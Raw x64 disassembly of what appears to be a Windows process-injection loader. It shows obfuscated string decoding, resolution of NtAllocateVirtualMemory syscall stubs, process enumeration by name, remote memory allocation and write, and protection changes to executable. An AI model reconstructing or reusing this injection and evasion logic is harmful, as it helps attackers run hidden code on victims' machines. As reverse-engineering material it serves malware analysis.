je 0x40859c
lea rbx, [0x0050b58b]
jmp 0x4085a3
lea rbx, [0x0050b590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.00432680
mov r8, rbx
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rax, [rbp + 0x4cff]
mov rcx, rax
call fcn.0046f690
lea rdx, [rbp + 0x4cff]
lea rax, [rbp + 0x4cd0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a75d0
lea rax, [rbp + 0x4cb0]
lea rdx, [rbp + 0x4cd0]
lea r8, [0x0050b56f]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x4c90]
lea rdx, [rbp + 0x4cb0]
lea r8, [0x0050b585]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x4c70]
lea rdx, [rbp + 0x4c90]
lea r8, [0x0050b579]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x4c50]
lea rdx, [rbp + 0x4c70]
lea r8, [0x0050b5d1]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x4c30]
lea rdx, [rbp + 0x4c50]
lea r8, [0x0050b57d]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x4c10]
lea rdx, [rbp + 0x4c30]
lea r8, [0x0050b57f]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x4bf0]
lea rdx, [rbp + 0x4c10]
lea r8, [0x0050b57b]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x4bd0]
lea rdx, [rbp + 0x4bf0]
lea r8, [0x0050b5d7]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x4bb0]
lea rdx, [rbp + 0x4bd0]
lea r8, [0x0050b5c5]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x4b90]
lea rdx, [rbp + 0x4bb0]
lea r8, [0x0050b5cf]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x4b70]
lea rdx, [rbp + 0x4b90]
lea r8, [0x0050b5bf]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x4b50]
lea rdx, [rbp + 0x4b70]
lea r8, [0x0050b57b]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x4b30]
lea rdx, [rbp + 0x4b50]
lea r8, [0x0050b577]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x4b10]
lea rdx, [rbp + 0x4b30]
lea r8, [0x0050b56f]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x4af0]
lea rdx, [rbp + 0x4b10]
lea r8, [0x0050b57f]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x4ad0]
lea rdx, [rbp + 0x4af0]
lea r8, [0x0050b575]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x4ab0]
lea rdx, [rbp + 0x4ad0]
lea r8, [0x0050b5c1]
mov rcx, rax
call fcn.004b75b0
lea rdx, [rbp + 0x4ab0]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.004a7c60
lea rax, [rbp + 0x4ab0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x4ad0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x4af0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x4b10]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x4b30]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x4b50]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x4b70]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x4b90]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x4bb0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x4bd0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x4bf0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x4c10]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x4c30]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x4c50]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x4c70]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x4c90]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x4cb0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x4cd0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x4cff]
mov rcx, rax
call fcn.0046f6c0
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x4d00]
mov rcx, rax
call fcn.004a7160
mov r9, qword [rbp + 0x52a8]
mov r8, qword [rbp + 0x52c8]
mov rdx, qword [rbp + 0x52a0]
lea rax, [rbp + 0x4d00]
mov rcx, qword [rbp + 0x52e8]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5390]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x529c], eax
lea rax, [rbp + 0x4d00]
mov rcx, rax
call fcn.004a7c20
cmp dword [rbp + 0x529c], 0
je 0x40898c
lea rbx, [0x0050b58b]
jmp 0x408993
lea rbx, [0x0050b590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.00432680
mov r8, rbx
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rax, [rbp + 0x4f8f]
mov rcx, rax
call fcn.0046f690
lea rdx, [rbp + 0x4f8f]
lea rax, [rbp + 0x4f60]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a75d0
lea rax, [rbp + 0x4f40]
lea rdx, [rbp + 0x4f60]
lea r8, [0x0050b56f]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x4f20]
lea rdx, [rbp + 0x4f40]
lea r8, [0x0050b5bd]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x4f00]
lea rdx, [rbp + 0x4f20]
lea r8, [0x0050b581]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x4ee0]
lea rdx, [rbp + 0x4f00]
lea r8, [0x0050b57b]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x4ec0]
lea rdx, [rbp + 0x4ee0]
lea r8, [0x0050b57b]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x4ea0]
lea rdx, [rbp + 0x4ec0]
lea r8, [0x0050b57d]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x4e80]
lea rdx, [rbp + 0x4ea0]
lea r8, [0x0050b57f]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x4e60]
lea rdx, [rbp + 0x4e80]
lea r8, [0x0050b581]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x4e40]
lea rdx, [rbp + 0x4e60]
lea r8, [0x0050b56f]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x4e20]
lea rdx, [rbp + 0x4e40]
lea r8, [0x0050b583]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x4e00]
lea rdx, [rbp + 0x4e20]
lea r8, [0x0050b579]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x4de0]
lea rdx, [rbp + 0x4e00]
lea r8, [0x0050b573]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x4dc0]
lea rdx, [rbp + 0x4de0]
lea r8, [0x0050b585]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x4da0]
lea rdx, [rbp + 0x4dc0]
lea r8, [0x0050b57b]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x4d80]
lea rdx, [rbp + 0x4da0]
lea r8, [0x0050b587]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x4d60]
lea rdx, [rbp + 0x4d80]
lea r8, [0x0050b575]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x4d40]
lea rdx, [rbp + 0x4d60]
lea r8, [0x0050b581]
mov rcx, rax
call fcn.004b75b0
lea rax, [rbp + 0x4d20]
lea rdx, [rbp + 0x4d40]
lea r8, [0x0050b589]
mov rcx, rax
call fcn.004b75b0
lea rdx, [rbp + 0x4d20]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.004a7c60
lea rax, [rbp + 0x4d20]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x4d40]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x4d60]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x4d80]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x4da0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x4dc0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x4de0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x4e00]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x4e20]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x4e40]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x4e60]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x4e80]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x4ea0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x4ec0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x4ee0]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x4f00]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x4f20]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x4f40]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x4f60]
mov rcx, rax
call fcn.004a7c20
lea rax, [rbp + 0x4f8f]
mov rcx, rax
call fcn.0046f6c0
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x4f90]
mov rcx, rax
call fcn.004a7160
mov r9, qword [rbp + 0x52a8]
mov r8, qword [rbp + 0x52c8]
mov rdx, qword [rbp + 0x52a0]
lea rax, [rbp + 0x4f90]
mov rcx, qword [rbp + 0x52e0]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5390]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x529c], eax
lea rax, [rbp + 0x4f90]
mov rcx, rax
call fcn.004a7c20
cmp dword [rbp + 0x529c], 0
je 0x408da8
lea rbx, [0x0050b58b]
jmp 0x408daf
lea rbx, [0x0050b590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.00432680
mov r8, rbx
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rcx, str._08_b_
call fcn.00402ef3
mov qword [rbp + 0x2498], 0x230
mov rax, qword [0x00507020]
mov qword [rbp + 0x2490], rax
mov rax, qword [rbp + 0x2498]
mov rdx, rax
lea rcx, [0x00507040]
call fcn.00401b61
mov dword [rbp + 0x2360], 0x130
mov edx, 0
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rbp + 0x5290], rax
mov dword [rbp + 0x5388], 0
lea rax, [rbp + 0x2353]
lea rdx, [rbp + 0x4fbd]
mov rcx, rax
call fcn.00403096
lea rdx, [rbp + 0x2360]
mov rax, qword [rbp + 0x5290]
mov rcx, rax
call sub.KERNEL32.dll_Process32First
cmp eax, 1
sete al
test al, al
je 0x4090cf
lea rdx, [rbp + 0x2360]
mov rax, qword [rbp + 0x5290]
mov rcx, rax
call sub.KERNEL32.dll_Process32Next
cmp eax, 1
sete al
test al, al
je 0x4090cf
lea rax, [rbp + 0x2353]
mov qword [rbp + 0x5248], rax
mov rax, qword [rbp + 0x5248]
mov qword [rbp + 0x5240], rax
mov rax, qword [rbp + 0x5240]
movzx eax, byte [rax + 0xc]
test al, al
setne al
test al, al
je 0x408f5b
mov rax, qword [rbp + 0x5248]
mov rdx, qword [rbp + 0x5248]
mov qword [rbp + 0x5238], rdx
mov qword [rbp + 0x5230], rax
mov dword [rbp + 0x522c], 0
cmp dword [rbp + 0x522c], 0xc
jg 0x408f5a
mov eax, dword [rbp + 0x522c]
movsxd rdx, eax
mov rax, qword [rbp + 0x5230]
add rax, rdx
movzx ecx, byte [rax]
mov eax, dword [rbp + 0x522c]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 5
mov r8d, eax
sar r8d, 0x1f
sub edx, r8d
imul r8d, edx, 0x38
sub eax, r8d
mov edx, eax
mov eax, edx
add eax, 0x37
xor ecx, eax
mov rdx, qword [rbp + 0x5238]
mov eax, dword [rbp + 0x522c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x522c], 1
jmp 0x408eed
nop
lea rax, [rbp + 0x2353]
lea rdx, [rbp + 0x2360]
lea rcx, [rdx + 0x2c]
mov rdx, rax
call sub.msvcrt.dll__stricmp
test eax, eax
sete al
test al, al
je 0x408e6f
mov eax, dword [rbp + 0x2368]
mov dword [rbp + 0x5388], eax
lea rax, [rbp + 0x101]
lea rdx, [rbp + 0x4fbe]
mov rcx, rax
call fcn.00403110
lea rax, [rbp + 0x101]
mov qword [rbp + 0x5220], rax
mov rax, qword [rbp + 0x5220]
movzx eax, byte [rax + 0xe]
test al, al
setne al
test al, al
je 0x40905e
lea rax, [rbp + 0x101]
lea rdx, [rbp + 0x101]
mov qword [rbp + 0x5218], rdx
mov qword [rbp + 0x5210], rax
mov dword [rbp + 0x520c], 0
cmp dword [rbp + 0x520c], 0xe
jg 0x40905d
mov eax, dword [rbp + 0x520c]
movsxd rdx, eax
mov rax, qword [rbp + 0x5210]
add rax, rdx
movzx ecx, byte [rax]
mov eax, dword [rbp + 0x520c]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 5
mov r8d, eax
sar r8d, 0x1f
sub edx, r8d
imul r8d, edx, 0x38
sub eax, r8d
mov edx, eax
mov eax, edx
add eax, 0x37
xor ecx, eax
mov rdx, qword [rbp + 0x5218]
mov eax, dword [rbp + 0x520c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x520c], 1
jmp 0x408ff0
nop
lea rax, [rbp + 0x101]
mov rdx, qword [rbp + 0x2353]
mov qword [rbp - 0x40], rdx
mov edx, dword [rbp + 0x235b]
mov dword [rbp - 0x38], edx
movzx edx, byte [rbp + 0x235f]
mov byte [rbp - 0x34], dl
mov ecx, dword [rbp + 0x5388]
lea rdx, [rbp - 0x40]
mov r9d, ecx
mov r8, rdx
mov rdx, rax
lea rcx, [0x0050b5d9]
call fcn.00401540
mov dword [rbp + 0x5208], 0
cmp dword [rbp + 0x5208], 0xe
jg 0x4090ce
mov eax, dword [rbp + 0x5208]
cdqe
mov byte [rbp + rax + 0x101], 0
add dword [rbp + 0x5208], 1
jmp 0x4090ac
nop
mov rax, qword [rbp + 0x5290]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
cmp dword [rbp + 0x5388], 0
jne 0x409224
lea rax, [rbp - 0x10]
lea rdx, [rbp + 0x4fbf]
mov rcx, rax
call fcn.0040319a
lea rax, [rbp - 0x10]
mov qword [rbp + 0x5200], rax
mov rax, qword [rbp + 0x5200]
movzx eax, byte [rax + 0x43]
test al, al
setne al
test al, al
je 0x4091b3
lea rax, [rbp - 0x10]
lea rdx, [rbp - 0x10]
mov qword [rbp + 0x51f8], rdx
mov qword [rbp + 0x51f0], rax
mov dword [rbp + 0x51ec], 0
cmp dword [rbp + 0x51ec], 0x43
jg 0x4091b2
mov eax, dword [rbp + 0x51ec]
movsxd rdx, eax
mov rax, qword [rbp + 0x51f0]
add rax, rdx
movzx ecx, byte [rax]
mov eax, dword [rbp + 0x51ec]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 5
mov r8d, eax
sar r8d, 0x1f
sub edx, r8d
imul r8d, edx, 0x38
sub eax, r8d
mov edx, eax
mov eax, edx
add eax, 0x37
xor ecx, eax
mov rdx, qword [rbp + 0x51f8]
mov eax, dword [rbp + 0x51ec]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x51ec], 1
jmp 0x409145
nop
lea rax, [rbp - 0x10]
mov rdx, qword [rbp + 0x2353]
mov qword [rbp - 0x40], rdx
mov edx, dword [rbp + 0x235b]
mov dword [rbp - 0x38], edx
movzx edx, byte [rbp + 0x235f]
mov byte [rbp - 0x34], dl
lea rdx, [rbp - 0x40]
mov r8, rdx
mov rdx, rax
lea rcx, str._s_s
call fcn.00401540
mov dword [rbp + 0x51e8], 0
cmp dword [rbp + 0x51e8], 0x43
jg 0x409214
mov eax, dword [rbp + 0x51e8]
cdqe
mov byte [rbp + rax - 0x10], 0
add dword [rbp + 0x51e8], 1
jmp 0x4091f5
nop
mov esi, 1
mov ebx, 0
jmp 0x40a7ea
mov qword [rbp + 0x2348], 0
mov qword [rbp + 0x2338], 0
mov eax, dword [rbp + 0x2368]
mov ecx, eax
call fcn.00401594
mov qword [rbp + 0x2330], rax
mov dword [rbp + 0x2300], 0x30
mov qword [rbp + 0x2308], 0
mov dword [rbp + 0x2318], 0
mov qword [rbp + 0x2310], 0
mov qword [rbp + 0x2320], 0
mov qword [rbp + 0x2328], 0
mov r10, qword [0x00537090]
lea rcx, [rbp + 0x2330]
lea rdx, [rbp + 0x2300]
lea rax, [rbp + 0x2348]
mov r9, rcx
mov r8, rdx
mov edx, 0x478
mov rcx, rax
call r10
lea rax, [rbp + 0x22f4]
lea rdx, [rbp + 0x4fc0]
mov rcx, rax
call fcn.004033cc
lea rax, [rbp + 0x22e0]
lea rdx, [rbp + 0x4fc1]
mov rcx, rax
call fcn.0040343e
mov qword [rbp + 0x5288], 0
mov qword [rbp + 0x22d8], 0
mov dword [rbp + 0x22cc], 0
mov qword [rbp + 0x5280], 0xe
mov r10, qword [0x00537048]
mov rax, qword [rbp + 0x2348]
lea rcx, [rbp + 0x2498]
lea rdx, [rbp + 0x22d8]
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x3000
mov r9, rcx
mov r8d, 0
mov rcx, rax
call r10
mov dword [rbp + 0x527c], eax
lea rax, [rbp + 0x22a0]
lea rdx, [rbp + 0x4fc2]
mov rcx, rax
call fcn.004034d0
lea rax, [rbp + 0x22a0]
mov qword [rbp + 0x51e0], rax
mov rax, qword [rbp + 0x51e0]
movzx eax, byte [rax + 0x27]
test al, al
setne al
test al, al
je 0x409423
lea rax, [rbp + 0x22a0]
lea rdx, [rbp + 0x22a0]
mov qword [rbp + 0x51d8], rdx
mov qword [rbp + 0x51d0], rax
mov dword [rbp + 0x51cc], 0
cmp dword [rbp + 0x51cc], 0x27
jg 0x409422
mov eax, dword [rbp + 0x51cc]
movsxd rdx, eax
mov rax, qword [rbp + 0x51d0]
add rax, rdx
movzx ecx, byte [rax]
mov eax, dword [rbp + 0x51cc]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 5
mov r8d, eax
sar r8d, 0x1f
sub edx, r8d
imul r8d, edx, 0x38
sub eax, r8d
mov edx, eax
mov eax, edx
add eax, 0x37
xor ecx, eax
mov rdx, qword [rbp + 0x51d8]
mov eax, dword [rbp + 0x51cc]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x51cc], 1
jmp 0x4093b5
nop
lea rax, [rbp + 0x22a0]
mov edx, dword [rbp + 0x527c]
mov r8d, edx
mov rdx, rax
lea rcx, [0x0050b0e1]
call fcn.00401540
mov dword [rbp + 0x51c8], 0
cmp dword [rbp + 0x51c8], 0x27
jg 0x40946e
mov eax, dword [rbp + 0x51c8]
cdqe
mov byte [rbp + rax + 0x22a0], 0
add dword [rbp + 0x51c8], 1
jmp 0x40944c
nop
lea rax, [rbp + 0x2292]
lea rdx, [rbp + 0x4fc3]
mov rcx, rax
call fcn.00403622
mov r8, qword [rbp + 0x22d8]
lea rax, [rbp + 0x2292]
mov qword [rbp + 0x51c0], rax
mov rax, qword [rbp + 0x51c0]
movzx eax, byte [rax + 0xd]
test al, al
setne al
test al, al
je 0x409546
lea rax, [rbp + 0x2292]
lea rdx, [rbp + 0x2292]
mov qword [rbp + 0x51b8], rdx
mov qword [rbp + 0x51b0], rax
mov dword [rbp + 0x51ac], 0
cmp dword [rbp + 0x51ac], 0xd
jg 0x409545
mov eax, dword [rbp + 0x51ac]
movsxd rdx, eax
mov rax, qword [rbp + 0x51b0]
add rax, rdx
movzx ecx, byte [rax]
mov eax, dword [rbp + 0x51ac]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 5
mov r9d, eax
sar r9d, 0x1f
sub edx, r9d
imul r9d, edx, 0x38
sub eax, r9d
mov edx, eax
mov eax, edx
add eax, 0x37
xor ecx, eax
mov rdx, qword [rbp + 0x51b8]
mov eax, dword [rbp + 0x51ac]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x51ac], 1
jmp 0x4094d8
nop
lea rax, [rbp + 0x2292]
mov rdx, rax
lea rcx, str._s_p_n
call fcn.00401540
mov dword [rbp + 0x51a8], 0
cmp dword [rbp + 0x51a8], 0xd
jg 0x409588
mov eax, dword [rbp + 0x51a8]
cdqe
mov byte [rbp + rax + 0x2292], 0
add dword [rbp + 0x51a8], 1
jmp 0x409566
nop
mov r10, qword [0x00537050]
mov r9, qword [rbp + 0x2498]
mov r8, qword [0x005370e0]
mov rdx, qword [rbp + 0x22d8]
mov rax, qword [rbp + 0x2348]
lea rcx, [rbp + 0x22d0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call r10
mov dword [rbp + 0x527c], eax
lea rax, [rbp + 0x2260]
lea rdx, [rbp + 0x4fc4]
mov rcx, rax
call fcn.004036a4
lea rax, [rbp + 0x2260]
mov qword [rbp + 0x51a0], rax
mov rax, qword [rbp + 0x51a0]
movzx eax, byte [rax + 0x22]
test al, al
setne al
test al, al
je 0x409694
lea rax, [rbp + 0x2260]
lea rdx, [rbp + 0x2260]
mov qword [rbp + 0x5198], rdx
mov qword [rbp + 0x5190], rax
mov dword [rbp + 0x518c], 0
cmp dword [rbp + 0x518c], 0x22
jg 0x409693
mov eax, dword [rbp + 0x518c]
movsxd rdx, eax
mov rax, qword [rbp + 0x5190]
add rax, rdx
movzx ecx, byte [rax]
mov eax, dword [rbp + 0x518c]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 5
mov r8d, eax
sar r8d, 0x1f
sub edx, r8d
imul r8d, edx, 0x38
sub eax, r8d
mov edx, eax
mov eax, edx
add eax, 0x37
xor ecx, eax
mov rdx, qword [rbp + 0x5198]
mov eax, dword [rbp + 0x518c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x518c], 1
jmp 0x409626
nop
lea rax, [rbp + 0x2260]
mov edx, dword [rbp + 0x527c]
mov r8d, edx
mov rdx, rax
lea rcx, [0x0050b0e1]
call fcn.00401540
mov dword [rbp + 0x5188], 0
cmp dword [rbp + 0x5188], 0x22
jg 0x4096df
mov eax, dword [rbp + 0x5188]
cdqe
mov byte [rbp + rax + 0x2260], 0
add dword [rbp + 0x5188], 1
jmp 0x4096bd
nop
mov r10, qword [0x00537058]
mov rax, qword [rbp + 0x2348]
lea r8, [rbp + 0x2498]
lea rdx, [rbp + 0x22d8]
lea rcx, [rbp + 0x22cc]
mov qword [rsp + 0x20], rcx
mov r9d, 0x20
mov rcx, rax
call r10
mov dword [rbp + 0x527c], eax
lea rax, [rbp + 0x2230]
lea rdx, [rbp + 0x4fc5]
mov rcx, rax
call fcn.004037ce
lea rax, [rbp + 0x2230]
mov qword [rbp + 0x5180], rax
mov rax, qword [rbp + 0x5180]
movzx eax, byte [rax + 0x22]
test al, al
setne al
test al, al
je 0x4097ea
lea rax, [rbp + 0x2230]
lea rdx, [rbp + 0x2230]
mov qword [rbp + 0x5178], rdx
mov qword [rbp + 0x5170], rax
mov dword [rbp + 0x516c], 0
cmp dword [rbp + 0x516c], 0x22
jg 0x4097e9
mov eax, dword [rbp + 0x516c]
movsxd rdx, eax
mov rax, qword [rbp + 0x5170]
add rax, rdx
movzx ecx, byte [rax]
mov eax, dword [rbp + 0x516c]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 5
mov r8d, eax
sar r8d, 0x1f
sub edx, r8d
imul r8d, edx, 0x38
sub eax, r8d
mov edx, eax
mov eax, edx
add eax, 0x37
xor ecx, eax
mov rdx, qword [rbp + 0x5178]
mov eax, dword [rbp + 0x516c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x516c], 1
jmp 0x40977c
nop
lea rax, [rbp + 0x2230]
mov edx, dword [rbp + 0x527c]
mov r8d, edx
mov rdx, rax
lea rcx, [0x0050b0e1]
call fcn.00401540
mov dword [rbp + 0x5168], 0
cmp dword [rbp + 0x5168], 0x22
jg 0x409835
mov eax, dword [rbp + 0x5168]
cdqe
mov byte [rbp + rax + 0x2230], 0
add dword [rbp + 0x5168], 1
jmp 0x409813
nop
mov rax, qword [rbp + 0x2348]
mov rcx, rax
call fcn.00402d2f
mov rdx, qword [rbp + 0x22d8]
mov rax, qword [rbp + 0x2348]
mov rcx, rax
call fcn.00402911
mov ecx, 0x7d0
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov r10, qword [0x005370d0]
mov rax, qword [rbp + 0x2348]
lea rcx, [rbp + 0x2498]
lea rdx, [rbp + 0x22d8]
mov r9d, 0x8000
mov r8, rcx
mov rcx, rax
call r10
mov dword [rbp + 0x527c], eax
lea rax, [rbp + 0x2200]
lea rdx, [rbp + 0x4fc6]
mov rcx, rax
call fcn.004038f8
lea rax, [rbp + 0x2200]
mov qword [rbp + 0x5160], rax
mov rax, qword [rbp + 0x5160]
movzx eax, byte [rax + 0x27]
test al, al
setne al
test al, al
je 0x40996a
lea rax, [rbp + 0x2200]
lea rdx, [rbp + 0x2200]
mov qword [rbp + 0x5158], rdx
mov qword [rbp + 0x5150], rax
mov dword [rbp + 0x514c], 0
cmp dword [rbp + 0x514c], 0x27
jg 0x409969
mov eax, dword [rbp + 0x514c]
movsxd rdx, eax
mov rax, qword [rbp + 0x5150]
add rax, rdx
movzx ecx, byte [rax]
mov eax, dword [rbp + 0x514c]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 5
mov r8d, eax
sar r8d, 0x1f
sub edx, r8d
imul r8d, edx, 0x38
sub eax, r8d
mov edx, eax
mov eax, edx
add eax, 0x37
xor ecx, eax
mov rdx, qword [rbp + 0x5158]
mov eax, dword [rbp + 0x514c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x514c], 1
jmp 0x4098fc
nop
lea rax, [rbp + 0x2200]
mov edx, dword [rbp + 0x527c]
mov r8d, edx
mov rdx, rax
lea rcx, [0x0050b0e1]
call fcn.00401540
mov dword [rbp + 0x5120], 0
cmp dword [rbp + 0x5120], 0x27
jg 0x4099b5
mov eax, dword [rbp + 0x5120]
cdqe
mov byte [rbp + rax + 0x2200], 0
add dword [rbp + 0x5120], 1
jmp 0x409993
nop
lea rax, [rbp + 0x22f4]
mov qword [rbp + 0x5140], rax
mov rax, qword [rbp + 0x5140]
mov qword [rbp + 0x5138], rax
mov rax, qword [rbp + 0x5138]
movzx eax, byte [rax + 0xb]
test al, al
setne al
test al, al
je 0x409a7e
mov rax, qword [rbp + 0x5140]
mov rdx, qword [rbp + 0x5140]
mov qword [rbp + 0x5130], rdx
mov qword [rbp + 0x5128], rax
mov dword [rbp + 0x5124], 0
cmp dword [rbp + 0x5124], 0xb
jg 0x409a7d
mov eax, dword [rbp + 0x5124]
movsxd rdx, eax
mov rax, qword [rbp + 0x5128]
add rax, rdx
movzx ecx, byte [rax]
mov eax, dword [rbp + 0x5124]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 5
mov r8d, eax
sar r8d, 0x1f
sub edx, r8d
imul r8d, edx, 0x38
sub eax, r8d
mov edx, eax
mov eax, edx
add eax, 0x37
xor ecx, eax
mov rdx, qword [rbp + 0x5130]
mov eax, dword [rbp + 0x5124]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x5124], 1
jmp 0x409a10
nop
lea rax, [rbp + 0x22f4]
mov r8d, 1
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
call rax
mov qword [rbp + 0x5270], rax
lea rax, [rbp + 0x22e0]
mov qword [rbp + 0x5118], rax
mov rax, qword [rbp + 0x5118]
mov qword [rbp + 0x5110], rax
mov rax, qword [rbp + 0x5110]
movzx eax, byte [rax + 0xf]
test al, al
setne al
test al, al
je 0x409b6b
mov rax, qword [rbp + 0x5118]
mov rdx, qword [rbp + 0x5118]
mov qword [rbp + 0x5108], rdx
mov qword [rbp + 0x5100], rax
mov dword [rbp + 0x50fc], 0
cmp dword [rbp + 0x50fc], 0xf
jg 0x409b6a
mov eax, dword [rbp + 0x50fc]
movsxd rdx, eax
mov rax, qword [rbp + 0x5100]
add rax, rdx
movzx ecx, byte [rax]
mov eax, dword [rbp + 0x50fc]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 5
mov r8d, eax
sar r8d, 0x1f
sub edx, r8d
imul r8d, edx, 0x38
sub eax, r8d
mov edx, eax
mov eax, edx
add eax, 0x37
xor ecx, eax
